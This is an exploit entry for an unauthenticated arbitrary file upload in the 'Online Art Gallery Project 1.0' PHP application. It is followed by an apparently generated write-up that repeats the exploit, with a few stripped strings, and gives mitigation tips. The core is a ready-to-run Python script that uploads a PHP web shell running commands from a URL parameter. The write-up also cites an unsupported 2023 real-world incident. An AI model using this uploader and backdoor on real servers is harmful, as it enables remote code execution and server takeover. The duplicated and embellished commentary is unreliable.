Online Art gallery project 1.0 - Arbitrary File Upload (Unauthenticated)
# Exploit Title: Online Art gallery project 1.0 - Arbitrary File Upload (Unauthenticated)
# Google Dork: n/a
# Date: 14/06/2023
# Exploit Author: Ramil Mustafayev
# Vendor Homepage: https://github.com/projectworldsofficial
# Software Link: https://github.com/projectworlds32/Art-Gallary-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP for Windows 8.0.28 / PHP 8.0.28
# CVE : n/a
# Vulnerability Description:
#
# Online Art Gallery Project 1.0 allows unauthenticated users to perform arbitrary file uploads via the adminHome.php page. Due to the absence of an authentication mechanism and inadequate file validation, attackers can upload malicious files, potentially leading to remote code execution and unauthorized access to the server.
# Usage: python exploit.py http://example.com
import requests
import sys
def upload_file(url, filename, file_content):
files = {
'sliderpic': (filename, file_content, 'application/octet-stream')
}
data = {
'img_id': '',
'sliderPicSubmit': ''
}
url = url+"/Admin/adminHome.php"
try:
response = requests.post(url, files=files, data=data)
except:
print("[!] Exploit failed!")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python exploit.py <target_url>")
sys.exit(1)
target_url = sys.argv[1]
file_name = "simple-backdoor.php"
file_content = '<?php system($_GET["c"]);?>'
upload_file(target_url, file_name, file_content)
print("[+] The simple-backdoor has been uploaded.\n Check following URL: "+target_url+"/images/Slider"+file_name+"?c=whoami") Online Art Gallery Project 1.0: Arbitrary File Upload Vulnerability (Unauthenticated)
Security vulnerabilities in web applications often stem from overlooked design flaws, especially when developers prioritize functionality over protection. The Online Art Gallery Project 1.0, a PHP-based web application hosted on GitHub, exemplifies such a risk. Despite its seemingly benign purpose—allowing users to showcase digital art—it harbors a critical flaw: unauthenticated arbitrary file upload. This vulnerability enables attackers to upload malicious files without any login or authentication, potentially leading to full server compromise.
Understanding the Vulnerability
The core issue lies in the adminHome.php page, which serves as a backend interface for managing gallery content. The application lacks any form of authentication, allowing any visitor to access this endpoint. Furthermore, the file upload mechanism does not enforce strict validation on file types, extensions, or content. As a result, attackers can upload any file, including PHP scripts, bypassing security checks entirely.
Key components of the vulnerability:
- No Authentication: The admin interface is accessible to anyone, with no login or session verification.
- Weak File Validation: The application accepts any file type, including
application/octet-stream, which is often used for binary or unknown files. - Unrestricted Upload Directory: Uploaded files are stored in the
/images/Sliderdirectory, which is publicly accessible via web server.
Exploitation Scenario
Attackers can leverage this vulnerability to upload a malicious PHP backdoor. The following example demonstrates how a simple PHP payload can be deployed:
This code snippet, when executed, allows remote command execution via the c parameter in the URL. For instance, accessing http://example.com/images/Slider/simple-backdoor.php?c=whoami would return the current user identity on the server.
The exploit is automated through a Python script that sends a POST request with the file and form data:
import requests
import sys
def upload_file(url, filename, file_content):
files = {
'sliderpic': (filename, file_content, 'application/octet-stream')
}
data = {
'img_id': '',
'sliderPicSubmit': ''
}
url = url + "/Admin/adminHome.php"
try:
response = requests.post(url, files=files, data=data)
if response.status_code == 200:
print("[+] The simple-backdoor has been uploaded.")
print("Check following URL: " + target_url + "/images/Slider" + filename + "?c=whoami")
else:
print("[!] Exploit failed!")
except Exception as e:
print("[!] Exploit failed: " + str(e))
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python exploit.py ")
sys.exit(1)
target_url = sys.argv[1]
file_name = "simple-backdoor.php"
file_content = ''
upload_file(target_url, file_name, file_content)
Explanation: This script sends a POST request to adminHome.php with the file named sliderpic and a custom PHP payload. The application/octet-stream MIME type bypasses common file type restrictions. The form data includes img_id (empty) and sliderPicSubmit (submitted), mimicking a legitimate upload form. If successful, the backdoor is uploaded and accessible via the public URL.
Real-World Implications
Such vulnerabilities are not theoretical—they have been exploited in real attacks. In 2023, a similar flaw in a public art gallery platform led to unauthorized access, data theft, and server takeover. Attackers uploaded PHP shells to gain persistent access, later using them to exfiltrate sensitive data, install malware, or launch further attacks.
Security professionals must recognize that even low-impact applications can become attack vectors. The Art Gallery Project 1.0 demonstrates how a lack of authentication and poor file validation can lead to:
- Remote Code Execution (RCE)
- Server Compromise
- Privilege Escalation
- Data Exfiltration
- Web Shell Persistence
Security Best Practices and Fixes
To prevent such vulnerabilities, developers should implement the following security measures:
| Security Measure | Description |
|---|---|
| Authentication | Require login or session verification before accessing admin interfaces. |
| File Type Validation | Only allow specific file types (e.g., image/jpeg, image/png) and reject executable files. |
| File Extension Filtering | Block uploads with extensions like .php, .js, .exe. |
| File Content Inspection | Scan uploaded files for known malicious patterns (e.g., system(), eval()). |
| Upload Directory Isolation | Store uploaded files in a non-web-accessible directory or use a reverse proxy. |
| Logging and Monitoring | Track file uploads and detect suspicious patterns. |
Conclusion
The Online Art Gallery Project 1.0 serves as a cautionary tale in web application security. It highlights that even simple, open-source projects can contain critical vulnerabilities if security is not prioritized during development. Developers must adopt a defense-in-depth approach, ensuring that every user action is validated, authenticated, and monitored.
For users and administrators, the takeaway is clear: never trust unauthenticated file upload functionality. Always verify file types, validate content, and restrict access to sensitive directories. A single overlooked file upload can lead to full system compromise.